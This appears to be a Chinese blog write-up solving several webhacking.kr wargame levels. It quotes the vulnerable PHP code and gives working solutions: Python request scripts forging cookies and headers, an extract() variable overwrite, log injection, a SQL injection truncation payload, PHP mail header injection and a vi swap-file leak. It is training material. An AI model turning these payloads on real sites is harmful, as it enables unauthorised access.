然後法寶刷分即可,刷爆
這裏寫圖片描述

做這個還是費了不少的力氣的,因爲確實忘記了cookie驗證這個東東了…

第三十三關

首先明顯提示得到源碼

構造http://webhacking.kr/challenge/bonus/bonus-6/?get=hehe看到下一步得到一個php文件
進入next發現又可以得到新的php文件的源碼

這裏寫圖片描述

到了下一步構造

http://webhacking.kr/challenge/bonus/bonus-6/33.php?myip=自己公網的ip

這裏自己掛了個代理輕鬆也就過了,因爲現在$_SERVER['REMOTE_ADDR']是不能僞造的
然後進入level4看一下源碼

<?
if($_GET[password]==md5(time()))
{
echo("<a href=###>Next</a>");
}
else
{
echo("hint : ".time());
}
?>

淡了這一步就得上腳本了,原理也很簡單

#_*_coding:utf-8_*_
import re,hashlib
import requests
s=requests.session()
headers= {'cookie':'PHPSESSID=自己的cookie'}
url ='http://webhacking.kr/challenge/bonus/bonus-6/l4.php'
html = s.get(url,headers=headers).text
#print html
content = html[171:-1]
content = hashlib.md5(content).hexdigest()
#print content
url = url+'?password='+content
html = s.get(url,headers=headers).text
print html

然後得到

這裏寫圖片描述

<?
if($_GET[imget] && $_POST[impost] && $_COOKIE[imcookie])
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>

隨便搞一下

這裏寫圖片描述

好像是個全家桶…好多….
然後是關於UA的

<?
if($_COOKIE[test]==md5("$_SERVER[REMOTE_ADDR]") && $_POST[kk]==md5("$_SERVER[HTTP_USER_AGENT]"))
{
echo("<a href=###>Next</a>");
}
else
{
echo("hint : $_SERVER[HTTP_USER_AGENT]");
}
?>

這個就不用講了吧…

#_*_coding:utf-8_*_
import re,hashlib
import requests
s=requests.session()
headers= {'cookie':'PHPSESSID=025c3bf4e886fa336fe9b186fd0097d4;test=自己公網ip的md5值','User-Agent':'1'}
proxies={'http':'http:127.0.0.1:ss端口'} #這裏我用的ss所以綁定的本地端口
url ='http://webhacking.kr/challenge/bonus/bonus-6/gpcc.php'
data = {'kk':'c4ca4238a0b923820dcc509a6f75849b'}
html = requests.post(url,headers=headers,data=data,proxies=proxies).text
print html

這裏寫圖片描述

沒錯…居然還沒完….下一關你的公網ip去電小數點,變量名和變量值

<?
extract($_GET);
if(!$_GET[addr]) $addr=$_SERVER[REMOTE_ADDR];
if($addr=="127.0.0.1")
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>

經典漏洞,構造如下通過

http://webhacking.kr/challenge/bonus/bonus-6/ipt.php?addr=127.0.0.1

再往下…噁心…

http://webhacking.kr/challenge/bonus/bonus-6/nextt.php?ans=acegikmoqsuwy

終於搭了關底了…但是沒什麼的,自己去算一下就好了,懶得算就直接輸出一下,最後自己生成在一個文件夾中的一個文件之中…噁心死了

第三十八關

非常疑惑的一道題目,說是輸入admin會報錯,打開admin.php還會發現出現ip:你的輸入,提示admin,但是是個啥???還說log injection…搞不懂,可能是想修改了log日誌吧!!!我們可以構造虛假的log信息!
比如說我們這樣

80\n1.1.1.1:80

然後就可以僞造一個虛假的登錄ip了,soga,解決方案,你的\nip:admin

第三十六關

看到提示是vi blackout,感覺應該是什麼文件邪路纔對,但是經過測試並沒有發現什麼東西,感覺是自己弄錯了?
從來沒怎麼去試,每次我們在使用vi的時候,比如我們創建一個hello文件的時候,然後我們鍵入一個字符串,然後在另一個終端我們會發現.hello.swp文件。cat一下就會發現,就算你沒有保存hello文件在緩存中內容還是一致的!

這裏寫圖片描述

但是爲啥做不了….
看了大佬的題解發現…題目壞了…不過應該是不難的嗯
解決的答案是MD5(自己的ip+空格+一串字符dlseprtmvpdlwlfmfquswhgkwkglgl)其中+只是爲連接符,形如

xx.xxx.xxx.xxx dlseprtmvpdlwlfmfquswhgkwkglgl

但是不明白爲什麼他的緩存文件不見了

第三十九關

先挑簡單的做做,嘿嘿嘿嘿,但是猛一看還是有點蒙圈,把單引號變成了雙份,過濾了斜槓來着,而且沒有閉合

<?

$pw="????";

if($_POST[id])
{
$_POST[id]=str_replace("\\","",$_POST[id]);
$_POST[id]=str_replace("'","''",$_POST[id]);
$_POST[id]=substr($_POST[id],0,15);
$q=mysql_fetch_array(mysql_query("select 'good' from zmail_member where id='$_POST[id]"));

if($q[0]=="good") @solve();

}

?>

這個時候就動歪腦筋了,有一個截斷!而且我們知道再mysql中輸入如下兩種情況效果相同

mysql> select 'good' from flag where id='1';
+------+
| good |
+------+
| good |
+------+
1 row in set (0.00 sec)
mysql> select 'good' from flag where id='1     ';
+------+
| good |
+------+
| good |
+------+
1 row in set (0.00 sec)

那麼我們利用這個截斷,構造如下

id=1%20%20%20%20%20%20%20%20%20%20%20%20%20%27

然後就完成了嗯!

第四十七關

關鍵代碼如下

<?
if($_POST[email])
{
$pass="????";
$header="From: $_POST[email]\r\n";
mail("[email protected]","readme","password is $pass",$header);
echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>");
}
?>

這個題目也是很好的,之前沒有接觸過這個冬東東,利用了php的郵件注入
這裏推薦一個frebuff的非常好的文章,其實這個應該是利用郵箱去看的,這裏利用了郵箱注入的添加Cbb和添加Bb功能像特定額用戶發送額外的郵件,在實戰中也就可以達到得知郵件內容的目的了嗯!非常好的題目!!!!

這裏寫圖片描述

第五十四關

每次碰到異步傳輸我就矇蔽了….看關鍵的函數

function run(){
  if(window.ActiveXObject){
   try {
    return new ActiveXObject('Msxml2.XMLHTTP');
   } catch (e) {
    try {
     return new ActiveXObject('Microsoft.XMLHTTP');
    } catch (e) {
     return null;
    }
   }
  }else if(window.XMLHttpRequest){
   return new XMLHttpRequest();

  }else{
   return null;
  }
 }

x=run();

function answer(i)
{
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML=x.responseText;
i++;
if(x.responseText) setTimeout("answer("+i+")",100);
if(x.responseText=="") aview.innerHTML="?";
}

setTimeout("answer(0)",10000);

這個給了這個answer函數,說實話到現在我都不知道這個原理是啥能保證每次都一樣。。下面有一個answer需要等待10秒,而且到了最後沒有回顯的時候將一切的北榮都替換成了?這個不利於我們觀看,於是我們需要修改代碼在console運行

function answer(i)
{
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML+=x.responseText;
i++;
if(x.responseText) setTimeout("answer("+i+")",1);
if(x.responseText=="") alert(aview.innerHTML);
}
answer(0)

這題參考了大牛的思路…真是菜逼我…最後的效果如下

這裏寫圖片描述

第五十八關

首先通過看js腳本發現了存在下載文件爲hackme.swf,然後需要審計
我們最後能在代碼中找到一個關鍵的網址,我猜測這個是類似寫入到flash中惡意代碼一類的東西,當然這裏只是謝了一些無用的東西。總之有些意思

這裏寫圖片描述

http://webhacking.kr/challenge/web/web-35/g1v2m2passw0rd.php

ps(把簡單題寫完了,準備攻克難題了)


















發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章